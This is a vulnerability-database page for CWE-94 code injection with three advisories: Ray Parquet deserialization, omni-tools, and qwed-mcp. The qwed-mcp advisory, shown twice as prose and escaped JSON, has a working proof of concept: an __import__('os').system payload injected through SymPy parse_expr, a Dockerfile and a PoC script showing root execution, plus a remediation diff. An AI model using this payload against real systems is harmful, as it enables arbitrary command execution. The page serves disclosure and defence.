GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

9105 vulnerabilities reference this CWE, most recent first.

GHSA-MW35-8RX3-XF9R

Vulnerability from github – Published: 2026-04-24 16:15 – Updated: 2026-05-13 13:37
VLAI
Summary
Ray: Remote Code Execution via Parquet Arrow Extension Type Deserialization
Details

Ray Data registers custom Arrow extension types (ray.data.arrow_tensor, ray.data.arrow_tensor_v2, ray.data.arrow_variable_shaped_tensor) globally in PyArrow. When PyArrow reads a Parquet file containing one of these extension types, it calls __arrow_ext_deserialize__ on the field's metadata bytes. Ray's implementation passes these bytes directly to cloudpickle.loads(), achieving arbitrary code execution during schema parsing, before any row data is read.

In May 2024, Ray fixed a related vulnerability in PyExtensionType-based extension types (issue #41314, PR #45084). In July 2025, PR #54831 introduced cloudpickle.loads() into the replacement extension types' deserialization path, reintroducing the same class of vulnerability.

Impact

  • Affected versions: Ray 2.49.0 through 2.54.0 (latest release as of March 2026). The vulnerable _deserialize_with_fallback function with cloudpickle.loads() was introduced in commit f6d21db1a4 (PR #54831, July 2025), first released in Ray 2.49.0.
  • Affected configurations: Any process that uses Ray Data and reads Parquet files. The extension types are registered globally in PyArrow, so all Parquet reads in the process are affected, including ray.data.read_parquet(), pyarrow.parquet.read_table(), pandas.read_parquet(), etc.
  • Attacker prerequisites: The attacker must place a crafted Parquet file where a Ray Data pipeline reads it. No authentication or cluster access is required. The Parquet file must contain a column with a ray.data.arrow_tensor (or v2, or variable-shaped) extension type name, which makes this a targeted attack against Ray Data users.
Severity
8.9 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ray"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.49.0"
            },
            {
              "fixed": "2.55.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41486"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T16:15:00Z",
    "nvd_published_at": "2026-05-08T22:16:29Z",
    "severity": "HIGH"
  },
  "details": "Ray Data registers custom Arrow extension types (`ray.data.arrow_tensor`, `ray.data.arrow_tensor_v2`, `ray.data.arrow_variable_shaped_tensor`) globally in PyArrow. When PyArrow reads a Parquet file containing one of these extension types, it calls `__arrow_ext_deserialize__` on the field\u0027s metadata bytes. Ray\u0027s implementation passes these bytes directly to `cloudpickle.loads()`, achieving arbitrary code execution during schema parsing, before any row data is read.\n\nIn May 2024, Ray fixed a related vulnerability in `PyExtensionType`-based extension types ([issue #41314](https://github.com/ray-project/ray/issues/41314), [PR #45084](https://github.com/ray-project/ray/pull/45084)). In July 2025, [PR #54831](https://github.com/ray-project/ray/pull/54831) introduced `cloudpickle.loads()` into the replacement extension types\u0027 deserialization path, reintroducing the same class of vulnerability.\n\n## Impact\n\n- **Affected versions**: Ray 2.49.0 through 2.54.0 (latest release as of March 2026). The vulnerable `_deserialize_with_fallback` function with `cloudpickle.loads()` was introduced in commit `f6d21db1a4` ([PR #54831](https://github.com/ray-project/ray/pull/54831), July 2025), first released in Ray 2.49.0.\n- **Affected configurations**: Any process that uses Ray Data and reads Parquet files. The extension types are registered globally in PyArrow, so all Parquet reads in the process are affected, including `ray.data.read_parquet()`, `pyarrow.parquet.read_table()`, `pandas.read_parquet()`, etc.\n- **Attacker prerequisites**: The attacker must place a crafted Parquet file where a Ray Data pipeline reads it. No authentication or cluster access is required. The Parquet file must contain a column with a `ray.data.arrow_tensor` (or v2, or variable-shaped) extension type name, which makes this a targeted attack against Ray Data users.",
  "id": "GHSA-mw35-8rx3-xf9r",
  "modified": "2026-05-13T13:37:51Z",
  "published": "2026-04-24T16:15:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/security/advisories/GHSA-mw35-8rx3-xf9r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41486"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/pull/54831"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/pull/62056"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/commit/c02bd31ae31996805868baa446a131a8d304525f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ray-project/ray"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/releases/tag/ray-2.55.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Ray: Remote Code Execution via Parquet Arrow Extension Type Deserialization"
}

GHSA-MW66-Q494-6V6W

Vulnerability from github – Published: 2025-10-30 15:32 – Updated: 2025-11-04 18:31
VLAI
Details

iib0011 omni-tools v0.4.0 is vulnerable to remote code execution via unsafe JSON deserialization.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-50739"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-30T14:15:43Z",
    "severity": "CRITICAL"
  },
  "details": "iib0011 omni-tools v0.4.0 is vulnerable to remote code execution via unsafe JSON deserialization.",
  "id": "GHSA-mw66-q494-6v6w",
  "modified": "2025-11-04T18:31:35Z",
  "published": "2025-10-30T15:32:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50739"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fai1424/Vulnerability-Research/tree/main/CVE-2025-50739"
    },
    {
      "type": "WEB",
      "url": "https://omnitools.app/json/stringify"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MW6R-2HVM-4RP2

Vulnerability from github – Published: 2026-08-25 15:26 – Updated: 2026-08-25 15:26
VLAI
Summary
qwed-mcp has Unsafe SymPy `parse_expr()` Remote Code Execution via Unsanitized Math Expression Input
Details

Summary

verify_math_expression() in qwed-mcp v0.2.0 passes attacker-controlled strings directly to SymPy's parse_expr() without restricting global_dict or validating the expression's AST. Because parse_expr() internally calls eval() and Python automatically injects the current module's __builtins__ when no explicit restriction is set, an attacker can embed arbitrary Python expressions — including __import__('os').system(...) — to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required.

Details

The vulnerability resides in src/qwed_mcp/engines/math_engine.py. The public function verify_math_expression(expression, claimed_result, operation) accepts both the expression and claimed_result arguments as raw strings and passes them — after a trivial ^ → ** substitution — to sympy.parsing.sympy_parser.parse_expr():

# math_engine.py:50-54
expr = parse_expr(
    expression.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)

# math_engine.py:64-68
claimed = parse_expr(
    claimed_result.replace("^", "**"),
    local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
    transformations=transformations
)

local_dict only adds math symbols to the evaluation namespace; it does not remove __builtins__. SymPy's parse_expr() eventually calls Python's built-in eval(), which — absent an explicit {"__builtins__": {}} in global_dict — receives the full built-in namespace. This makes __import__, open, exec, and every other Python built-in available to the evaluated expression.

There is no allowlist, AST pre-validation, or sandboxing applied at any point before the parse_expr() calls (lines 50 and 64).

Data flow:

  1. Source — math_engine.py:13-16: external caller supplies expression and claimed_result.
  2. Propagation — math_engine.py:50-54: expression substituted and forwarded to parse_expr().
  3. Propagation — math_engine.py:64-68: claimed_result substituted and forwarded to parse_expr().
  4. Sink — sympy.parsing.sympy_parser.parse_expr(): calls eval() with unrestricted __builtins__.

PoC

Environment setup

# Clone the repository at the affected commit
git clone https://github.com/QWED-AI/qwed-mcp
cd qwed-mcp
git checkout 54ac682699407310b5a71fbaed8c33f581b84301

# Option A — direct Python
python3 -m venv /tmp/qwed-mcp-venv
source /tmp/qwed-mcp-venv/bin/activate
pip install sympy>=1.12

# Option B — Docker (used for Phase 2 verification)
docker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi_1775_QWED-AI__qwed-mcp
docker run --rm vuln001-rce

Exploit input

import importlib.util, sys, os

spec = importlib.util.spec_from_file_location(
    "qwed_mcp.engines.math_engine",
    "src/qwed_mcp/engines/math_engine.py"
)
mod = importlib.util.module_from_spec(spec)
sys.modules["qwed_mcp.engines.math_engine"] = mod
spec.loader.exec_module(mod)
verify_math_expression = mod.verify_math_expression

payload = "__import__('os').system('id > /tmp/vuln001_rce_output.txt && hostname >> /tmp/vuln001_rce_output.txt && touch /tmp/vuln001_rce_marker')"
verify_math_expression(payload, "0")

print("marker_exists:", os.path.exists("/tmp/vuln001_rce_marker"))
with open("/tmp/vuln001_rce_output.txt") as f:
    print(f.read())

Expected output (Phase 2 Docker observation)

[+] *** EXPLOIT SUCCESSFUL ***
[+] Marker file present : /tmp/vuln001_rce_marker
[+] RCE command output  :
--- BEGIN OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
2d2fe45d37b6
--- END OUTPUT ---

[RESULT] PASS — deterministic RCE evidence observed inside container

The marker file /tmp/vuln001_rce_marker is created and id output confirms execution as root with no patches, flags, or privileged configuration required.

Remediation

Apply AST allowlisting and restrict global_dict before every parse_expr() call:

--- a/src/qwed_mcp/engines/math_engine.py
+++ b/src/qwed_mcp/engines/math_engine.py
 import logging
+import ast
 from typing import Optional

+ALLOWED_NAMES = {"x", "y", "z", "pi", "e"}
+ALLOWED_FUNCS = {"sqrt", "sin", "cos", "exp", "log"}
+ALLOWED_AST = (
+    ast.Expression, ast.BinOp, ast.UnaryOp, ast.Call, ast.Name, ast.Load,
+    ast.Constant, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Pow, ast.Mod,
+    ast.USub, ast.UAdd,
+)
+
+def _validate_math_syntax(expr: str) -> None:
+    tree = ast.parse(expr.replace("^", "**"), mode="eval")
+    for node in ast.walk(tree):
+        if not isinstance(node, ALLOWED_AST):
+            raise ValueError(f"Unsupported syntax: {type(node).__name__}")
+        if isinstance(node, ast.Name) and node.id not in ALLOWED_NAMES | ALLOWED_FUNCS:
+            raise ValueError(f"Unsupported symbol: {node.id}")
+        if isinstance(node, ast.Call):
+            if not isinstance(node.func, ast.Name) or node.func.id not in ALLOWED_FUNCS:
+                raise ValueError("Only approved math functions are allowed")
+        if isinstance(node, ast.Constant) and not isinstance(node.value, (int, float)):
+            raise ValueError("Only numeric constants are allowed")
+
+safe_globals = {"__builtins__": {}}
+
-            expr = parse_expr(
+            _validate_math_syntax(expression)
+            expr = parse_expr(
                 expression.replace("^", "**"),
                 local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
+                global_dict=safe_globals,
                 transformations=transformations
             )
-            claimed = parse_expr(
+            _validate_math_syntax(claimed_result)
+            claimed = parse_expr(
                 claimed_result.replace("^", "**"),
                 local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
+                global_dict=safe_globals,
                 transformations=transformations
             )

Impact

Any caller that passes attacker-controlled input to verify_math_expression() or any future MCP tool registration that exposes this function over a network interface is fully compromised. An attacker can:

  • Execute arbitrary OS commands as the process user (demonstrated as root in Phase 2).
  • Read, write, or delete files accessible to the process.
  • Exfiltrate secrets (API keys, environment variables, credentials) from the process environment.
  • Pivot to internal services reachable from the host.

The function is part of the public PyPI package qwed-mcp. Any downstream library consumer or service that wraps verify_math_expression() with user-supplied input is affected without additional configuration. While v0.2.0's default MCP tool registry does not expose this function as a registered tool, the library API is directly importable and exploitable by any code that calls it.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

LABEL vuln="VULN-001" \
      title="Unsafe SymPy parse_expr() RCE" \
      cwe="CWE-94" \
      target="QWED-AI/qwed-mcp@0.2.0"

WORKDIR /app

# Copy only the package source tree from the cloned repo.
# math_engine.py only imports sympy at runtime; full project deps
# (qwed-finance, qwed-ucp, mcp, z3-solver, etc.) are NOT needed for this PoC.
COPY repo/src /app/src

# Install the single runtime dependency used by the vulnerable module.
RUN pip install --no-cache-dir "sympy>=1.12"

# Copy the proof-of-concept script.
COPY vuln-001/poc.py /app/poc.py

# Make qwed_mcp importable via the local source tree.
ENV PYTHONPATH=/app/src

CMD ["python3", "/app/poc.py"]

poc.py

"""
VULN-001 Proof of Concept
=========================
Target  : QWED-AI/qwed-mcp v0.2.0
Module  : src/qwed_mcp/engines/math_engine.py
Function: verify_math_expression(expression, claimed_result, operation)

Root cause
----------
verify_math_expression() passes attacker-controlled strings directly to
sympy.parsing.sympy_parser.parse_expr() without restricting global_dict.
parse_expr() ultimately calls eval() with SymPy's namespace as globals.
Because that namespace does not set __builtins__ to {}, Python injects the
current module's builtins automatically, making __import__ available.

Attack
------
Inject a Python expression as the 'expression' or 'claimed_result' argument:
    __import__('os').system('<shell command>')

The system() call executes before parse_expr() tries to interpret the return
value as a SymPy expression.

Expected evidence of exploitation
----------------------------------
1. /tmp/vuln001_rce_marker  is created inside the container.
2. /tmp/vuln001_rce_output.txt contains the output of `id` and `hostname`.
3. The script exits 0; any other exit code means exploitation failed.
"""

import os
import sys


MARKER_FILE = "/tmp/vuln001_rce_marker"
OUTPUT_FILE = "/tmp/vuln001_rce_output.txt"


def run_poc() -> bool:
    """Run the PoC; return True on confirmed exploitation, False otherwise."""
    print("=" * 60)
    print("VULN-001 — Unsafe SymPy parse_expr() RCE — PoC")
    print("=" * 60)

    # --- Step 1: import the vulnerable function ---
    # qwed_mcp/__init__.py pulls in the full MCP server stack (mcp, httpx, etc.).
    # We load math_engine.py directly via importlib to exercise the vulnerable
    # module in isolation, exactly as an attacker who calls the library API would.
    print("[*] Importing vulnerable function via importlib (direct module load) ...")
    import importlib.util
    import sys as _sys

    _module_path = "/app/src/qwed_mcp/engines/math_engine.py"
    try:
        _spec = importlib.util.spec_from_file_location(
            "qwed_mcp.engines.math_engine", _module_path
        )
        _mod = importlib.util.module_from_spec(_spec)
        _sys.modules["qwed_mcp.engines.math_engine"] = _mod
        _spec.loader.exec_module(_mod)
        verify_math_expression = _mod.verify_math_expression
    except Exception as exc:
        print(f"[-] Import failed: {exc}")
        return False
    print(f"[+] verify_math_expression loaded from {_module_path}")

    # --- Step 2: craft the RCE payload ---
    # The payload is injected as the `expression` argument.
    # Shell commands:
    #   id         — prints current user/uid/gid (confirms arbitrary execution)
    #   hostname   — prints container hostname (confirms in-container execution)
    #   touch      — creates a marker file (machine-checkable evidence)
    shell_cmd = (
        f"id > {OUTPUT_FILE} && "
        f"hostname >> {OUTPUT_FILE} && "
        f"touch {MARKER_FILE}"
    )
    payload = f"__import__('os').system('{shell_cmd}')"
    print(f"\n[*] Injection payload (expression argument):\n    {payload}\n")

    # --- Step 3: call the vulnerable function ---
    print("[*] Calling verify_math_expression(payload, '0') ...")
    result = verify_math_expression(payload, "0")
    print(f"[*] Return value: {result}\n")

    # --- Step 4: verify exploitation evidence ---
    marker_exists = os.path.exists(MARKER_FILE)
    output_exists = os.path.exists(OUTPUT_FILE)

    if marker_exists and output_exists:
        with open(OUTPUT_FILE) as fh:
            rce_output = fh.read().strip()
        print("[+] *** EXPLOIT SUCCESSFUL ***")
        print(f"[+] Marker file present : {MARKER_FILE}")
        print(f"[+] RCE command output  :\n--- BEGIN OUTPUT ---\n{rce_output}\n--- END OUTPUT ---")
        return True

    # Partial evidence (marker only, no output, or vice-versa) still counts.
    if marker_exists:
        print("[+] *** EXPLOIT SUCCESSFUL (marker only) ***")
        print(f"[+] Marker file present : {MARKER_FILE}")
        return True

    print("[-] EXPLOIT FAILED — marker file not found")
    print(f"[-] Expected: {MARKER_FILE}")
    return False


def main() -> None:
    success = run_poc()
    if success:
        print("\n[RESULT] PASS — deterministic RCE evidence observed inside container")
        sys.exit(0)
    else:
        print("\n[RESULT] FAIL — could not confirm arbitrary code execution")
        sys.exit(1)


if __name__ == "__main__":
    main()
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "qwed-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55546"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T15:26:43Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\n`verify_math_expression()` in `qwed-mcp` v0.2.0 passes attacker-controlled strings directly to SymPy\u0027s `parse_expr()` without restricting `global_dict` or validating the expression\u0027s AST. Because `parse_expr()` internally calls `eval()` and Python automatically injects the current module\u0027s `__builtins__` when no explicit restriction is set, an attacker can embed arbitrary Python expressions \u2014 including `__import__(\u0027os\u0027).system(...)` \u2014 to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required.\n\n### Details\n\nThe vulnerability resides in `src/qwed_mcp/engines/math_engine.py`. The public function `verify_math_expression(expression, claimed_result, operation)` accepts both the `expression` and `claimed_result` arguments as raw strings and passes them \u2014 after a trivial `^` \u2192 `**` substitution \u2014 to `sympy.parsing.sympy_parser.parse_expr()`:\n\n```python\n# math_engine.py:50-54\nexpr = parse_expr(\n    expression.replace(\"^\", \"**\"),\n    local_dict={\"x\": x, \"y\": y, \"z\": z, \"pi\": pi, \"e\": E},\n    transformations=transformations\n)\n```\n\n```python\n# math_engine.py:64-68\nclaimed = parse_expr(\n    claimed_result.replace(\"^\", \"**\"),\n    local_dict={\"x\": x, \"y\": y, \"z\": z, \"pi\": pi, \"e\": E},\n    transformations=transformations\n)\n```\n\n`local_dict` only adds math symbols to the evaluation namespace; it does **not** remove `__builtins__`. SymPy\u0027s `parse_expr()` eventually calls Python\u0027s built-in `eval()`, which \u2014 absent an explicit `{\"__builtins__\": {}}` in `global_dict` \u2014 receives the full built-in namespace. This makes `__import__`, `open`, `exec`, and every other Python built-in available to the evaluated expression.\n\nThere is no allowlist, AST pre-validation, or sandboxing applied at any point before the `parse_expr()` calls (lines 50 and 64).\n\nData flow:\n\n1. **Source** \u2014 `math_engine.py:13-16`: external caller supplies `expression` and `claimed_result`.\n2. **Propagation** \u2014 `math_engine.py:50-54`: `expression` substituted and forwarded to `parse_expr()`.\n3. **Propagation** \u2014 `math_engine.py:64-68`: `claimed_result` substituted and forwarded to `parse_expr()`.\n4. **Sink** \u2014 `sympy.parsing.sympy_parser.parse_expr()`: calls `eval()` with unrestricted `__builtins__`.\n\n### PoC\n\n**Environment setup**\n\n```bash\n# Clone the repository at the affected commit\ngit clone https://github.com/QWED-AI/qwed-mcp\ncd qwed-mcp\ngit checkout 54ac682699407310b5a71fbaed8c33f581b84301\n\n# Option A \u2014 direct Python\npython3 -m venv /tmp/qwed-mcp-venv\nsource /tmp/qwed-mcp-venv/bin/activate\npip install sympy\u003e=1.12\n\n# Option B \u2014 Docker (used for Phase 2 verification)\ndocker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi_1775_QWED-AI__qwed-mcp\ndocker run --rm vuln001-rce\n```\n\n**Exploit input**\n\n```python\nimport importlib.util, sys, os\n\nspec = importlib.util.spec_from_file_location(\n    \"qwed_mcp.engines.math_engine\",\n    \"src/qwed_mcp/engines/math_engine.py\"\n)\nmod = importlib.util.module_from_spec(spec)\nsys.modules[\"qwed_mcp.engines.math_engine\"] = mod\nspec.loader.exec_module(mod)\nverify_math_expression = mod.verify_math_expression\n\npayload = \"__import__(\u0027os\u0027).system(\u0027id \u003e /tmp/vuln001_rce_output.txt \u0026\u0026 hostname \u003e\u003e /tmp/vuln001_rce_output.txt \u0026\u0026 touch /tmp/vuln001_rce_marker\u0027)\"\nverify_math_expression(payload, \"0\")\n\nprint(\"marker_exists:\", os.path.exists(\"/tmp/vuln001_rce_marker\"))\nwith open(\"/tmp/vuln001_rce_output.txt\") as f:\n    print(f.read())\n```\n\n**Expected output (Phase 2 Docker observation)**\n\n```\n[+] *** EXPLOIT SUCCESSFUL ***\n[+] Marker file present : /tmp/vuln001_rce_marker\n[+] RCE command output  :\n--- BEGIN OUTPUT ---\nuid=0(root) gid=0(root) groups=0(root)\n2d2fe45d37b6\n--- END OUTPUT ---\n\n[RESULT] PASS \u2014 deterministic RCE evidence observed inside container\n```\n\nThe marker file `/tmp/vuln001_rce_marker` is created and `id` output confirms execution as root with no patches, flags, or privileged configuration required.\n\n**Remediation**\n\nApply AST allowlisting and restrict `global_dict` before every `parse_expr()` call:\n\n```diff\n--- a/src/qwed_mcp/engines/math_engine.py\n+++ b/src/qwed_mcp/engines/math_engine.py\n import logging\n+import ast\n from typing import Optional\n\n+ALLOWED_NAMES = {\"x\", \"y\", \"z\", \"pi\", \"e\"}\n+ALLOWED_FUNCS = {\"sqrt\", \"sin\", \"cos\", \"exp\", \"log\"}\n+ALLOWED_AST = (\n+    ast.Expression, ast.BinOp, ast.UnaryOp, ast.Call, ast.Name, ast.Load,\n+    ast.Constant, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Pow, ast.Mod,\n+    ast.USub, ast.UAdd,\n+)\n+\n+def _validate_math_syntax(expr: str) -\u003e None:\n+    tree = ast.parse(expr.replace(\"^\", \"**\"), mode=\"eval\")\n+    for node in ast.walk(tree):\n+        if not isinstance(node, ALLOWED_AST):\n+            raise ValueError(f\"Unsupported syntax: {type(node).__name__}\")\n+        if isinstance(node, ast.Name) and node.id not in ALLOWED_NAMES | ALLOWED_FUNCS:\n+            raise ValueError(f\"Unsupported symbol: {node.id}\")\n+        if isinstance(node, ast.Call):\n+            if not isinstance(node.func, ast.Name) or node.func.id not in ALLOWED_FUNCS:\n+                raise ValueError(\"Only approved math functions are allowed\")\n+        if isinstance(node, ast.Constant) and not isinstance(node.value, (int, float)):\n+            raise ValueError(\"Only numeric constants are allowed\")\n+\n+safe_globals = {\"__builtins__\": {}}\n+\n-            expr = parse_expr(\n+            _validate_math_syntax(expression)\n+            expr = parse_expr(\n                 expression.replace(\"^\", \"**\"),\n                 local_dict={\"x\": x, \"y\": y, \"z\": z, \"pi\": pi, \"e\": E},\n+                global_dict=safe_globals,\n                 transformations=transformations\n             )\n-            claimed = parse_expr(\n+            _validate_math_syntax(claimed_result)\n+            claimed = parse_expr(\n                 claimed_result.replace(\"^\", \"**\"),\n                 local_dict={\"x\": x, \"y\": y, \"z\": z, \"pi\": pi, \"e\": E},\n+                global_dict=safe_globals,\n                 transformations=transformations\n             )\n```\n\n### Impact\n\nAny caller that passes attacker-controlled input to `verify_math_expression()` or any future MCP tool registration that exposes this function over a network interface is fully compromised. An attacker can:\n\n- Execute arbitrary OS commands as the process user (demonstrated as root in Phase 2).\n- Read, write, or delete files accessible to the process.\n- Exfiltrate secrets (API keys, environment variables, credentials) from the process environment.\n- Pivot to internal services reachable from the host.\n\nThe function is part of the public PyPI package `qwed-mcp`. Any downstream library consumer or service that wraps `verify_math_expression()` with user-supplied input is affected without additional configuration. While v0.2.0\u0027s default MCP tool registry does not expose this function as a registered tool, the library API is directly importable and exploitable by any code that calls it.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nLABEL vuln=\"VULN-001\" \\\n      title=\"Unsafe SymPy parse_expr() RCE\" \\\n      cwe=\"CWE-94\" \\\n      target=\"QWED-AI/qwed-mcp@0.2.0\"\n\nWORKDIR /app\n\n# Copy only the package source tree from the cloned repo.\n# math_engine.py only imports sympy at runtime; full project deps\n# (qwed-finance, qwed-ucp, mcp, z3-solver, etc.) are NOT needed for this PoC.\nCOPY repo/src /app/src\n\n# Install the single runtime dependency used by the vulnerable module.\nRUN pip install --no-cache-dir \"sympy\u003e=1.12\"\n\n# Copy the proof-of-concept script.\nCOPY vuln-001/poc.py /app/poc.py\n\n# Make qwed_mcp importable via the local source tree.\nENV PYTHONPATH=/app/src\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nVULN-001 Proof of Concept\n=========================\nTarget  : QWED-AI/qwed-mcp v0.2.0\nModule  : src/qwed_mcp/engines/math_engine.py\nFunction: verify_math_expression(expression, claimed_result, operation)\n\nRoot cause\n----------\nverify_math_expression() passes attacker-controlled strings directly to\nsympy.parsing.sympy_parser.parse_expr() without restricting global_dict.\nparse_expr() ultimately calls eval() with SymPy\u0027s namespace as globals.\nBecause that namespace does not set __builtins__ to {}, Python injects the\ncurrent module\u0027s builtins automatically, making __import__ available.\n\nAttack\n------\nInject a Python expression as the \u0027expression\u0027 or \u0027claimed_result\u0027 argument:\n    __import__(\u0027os\u0027).system(\u0027\u003cshell command\u003e\u0027)\n\nThe system() call executes before parse_expr() tries to interpret the return\nvalue as a SymPy expression.\n\nExpected evidence of exploitation\n----------------------------------\n1. /tmp/vuln001_rce_marker  is created inside the container.\n2. /tmp/vuln001_rce_output.txt contains the output of `id` and `hostname`.\n3. The script exits 0; any other exit code means exploitation failed.\n\"\"\"\n\nimport os\nimport sys\n\n\nMARKER_FILE = \"/tmp/vuln001_rce_marker\"\nOUTPUT_FILE = \"/tmp/vuln001_rce_output.txt\"\n\n\ndef run_poc() -\u003e bool:\n    \"\"\"Run the PoC; return True on confirmed exploitation, False otherwise.\"\"\"\n    print(\"=\" * 60)\n    print(\"VULN-001 \u2014 Unsafe SymPy parse_expr() RCE \u2014 PoC\")\n    print(\"=\" * 60)\n\n    # --- Step 1: import the vulnerable function ---\n    # qwed_mcp/__init__.py pulls in the full MCP server stack (mcp, httpx, etc.).\n    # We load math_engine.py directly via importlib to exercise the vulnerable\n    # module in isolation, exactly as an attacker who calls the library API would.\n    print(\"[*] Importing vulnerable function via importlib (direct module load) ...\")\n    import importlib.util\n    import sys as _sys\n\n    _module_path = \"/app/src/qwed_mcp/engines/math_engine.py\"\n    try:\n        _spec = importlib.util.spec_from_file_location(\n            \"qwed_mcp.engines.math_engine\", _module_path\n        )\n        _mod = importlib.util.module_from_spec(_spec)\n        _sys.modules[\"qwed_mcp.engines.math_engine\"] = _mod\n        _spec.loader.exec_module(_mod)\n        verify_math_expression = _mod.verify_math_expression\n    except Exception as exc:\n        print(f\"[-] Import failed: {exc}\")\n        return False\n    print(f\"[+] verify_math_expression loaded from {_module_path}\")\n\n    # --- Step 2: craft the RCE payload ---\n    # The payload is injected as the `expression` argument.\n    # Shell commands:\n    #   id         \u2014 prints current user/uid/gid (confirms arbitrary execution)\n    #   hostname   \u2014 prints container hostname (confirms in-container execution)\n    #   touch      \u2014 creates a marker file (machine-checkable evidence)\n    shell_cmd = (\n        f\"id \u003e {OUTPUT_FILE} \u0026\u0026 \"\n        f\"hostname \u003e\u003e {OUTPUT_FILE} \u0026\u0026 \"\n        f\"touch {MARKER_FILE}\"\n    )\n    payload = f\"__import__(\u0027os\u0027).system(\u0027{shell_cmd}\u0027)\"\n    print(f\"\\n[*] Injection payload (expression argument):\\n    {payload}\\n\")\n\n    # --- Step 3: call the vulnerable function ---\n    print(\"[*] Calling verify_math_expression(payload, \u00270\u0027) ...\")\n    result = verify_math_expression(payload, \"0\")\n    print(f\"[*] Return value: {result}\\n\")\n\n    # --- Step 4: verify exploitation evidence ---\n    marker_exists = os.path.exists(MARKER_FILE)\n    output_exists = os.path.exists(OUTPUT_FILE)\n\n    if marker_exists and output_exists:\n        with open(OUTPUT_FILE) as fh:\n            rce_output = fh.read().strip()\n        print(\"[+] *** EXPLOIT SUCCESSFUL ***\")\n        print(f\"[+] Marker file present : {MARKER_FILE}\")\n        print(f\"[+] RCE command output  :\\n--- BEGIN OUTPUT ---\\n{rce_output}\\n--- END OUTPUT ---\")\n        return True\n\n    # Partial evidence (marker only, no output, or vice-versa) still counts.\n    if marker_exists:\n        print(\"[+] *** EXPLOIT SUCCESSFUL (marker only) ***\")\n        print(f\"[+] Marker file present : {MARKER_FILE}\")\n        return True\n\n    print(\"[-] EXPLOIT FAILED \u2014 marker file not found\")\n    print(f\"[-] Expected: {MARKER_FILE}\")\n    return False\n\n\ndef main() -\u003e None:\n    success = run_poc()\n    if success:\n        print(\"\\n[RESULT] PASS \u2014 deterministic RCE evidence observed inside container\")\n        sys.exit(0)\n    else:\n        print(\"\\n[RESULT] FAIL \u2014 could not confirm arbitrary code execution\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-mw6r-2hvm-4rp2",
  "modified": "2026-08-25T15:26:43Z",
  "published": "2026-08-25T15:26:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/QWED-AI/qwed-mcp/security/advisories/GHSA-mw6r-2hvm-4rp2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/QWED-AI/qwed-mcp/pull/22"
    },
    {
      "type": "WEB",
